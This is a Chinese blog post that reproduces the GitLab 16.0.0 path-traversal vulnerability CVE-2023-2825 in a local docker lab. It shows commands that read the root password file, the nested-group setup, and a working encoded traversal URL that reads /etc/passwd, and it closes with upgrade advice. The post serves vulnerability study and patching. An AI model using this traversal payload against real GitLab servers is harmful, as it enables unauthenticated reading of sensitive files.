GitLab 目录遍历漏洞复现(CVE-2023-2825)

简述

   GitLab是一个用于仓库管理系统的开源项目,其使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。据悉,该漏洞影响 GitLab社区版(CE)和企业版(EE)的 16.0.0 版本,其它更早的版本几乎都不受影响。

   该漏洞存在于GitLab CE/EE版本16.0.0中,当嵌套在至少五个组中的公共项目中存在附件时,可在未经身份验证的情况下通过uploads功能遍历读取任意文件,导致敏感信息泄露。

漏洞影响范围

GitLab CE 16.0.0  社区版

GitLab EE 16.0.0  企业版

 漏洞复现

环境采用docker进行安装,安装完成访问80端口

docker pull gitlab/gitlab-ce:16.0.0-ce.0

docker run -p 80:80 -d gitlab/gitlab-ce:16.0.0-ce.0

docker命令查看gitlab前台登录账号密码

docker exec -it 1f7908ebe5aacf99c899bd3ee6952a372ad87522c4c72129dd75693554c098eb /bin/bash

cat /etc/gitlab/initial_root_password

root/na8qVBc/GzGSIBiYnNmDrcj8mNAbzCkv5XJ3UD+BOAw= 

登录成功

登录后,注意

1.需要一个嵌套五层以上可公开访问到的group 组并添加项目

2.在项目issus处进行附件上传

步骤一:添加组

添加组

 步骤二:输入任意组名、重复次数大于5,本次添加了9个group

项目组创建完成

步骤三:添加项目

添加项目

输入项目名称

 步骤四:项目添加完成,添加评论

1.注意遍历时候,路径是项目名不是评论名

2.上传附件,注意附件路径

步骤五:测试访问上传的文件

http://192.168.76.32:8077/group1/group2/group3/group4/group5/group6/group7/group8/group9/gitlab/uploads/c5a76aa5602d0eae7ef601eacfe59f64/12345.txt

步骤六:目录遍历

http://192.168.76.32:8077/group1/group2/group3/group4/group5/group6/group7/group8/group9/gitlab/uploads/c5a76aa5602d0eae7ef601eacfe59f64/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

 

 修改建议:

目前该漏洞已经修复,受影响用户可升级到以下版本:

GitLab CE/EE版本:>= 16.0.1

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小翠儿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值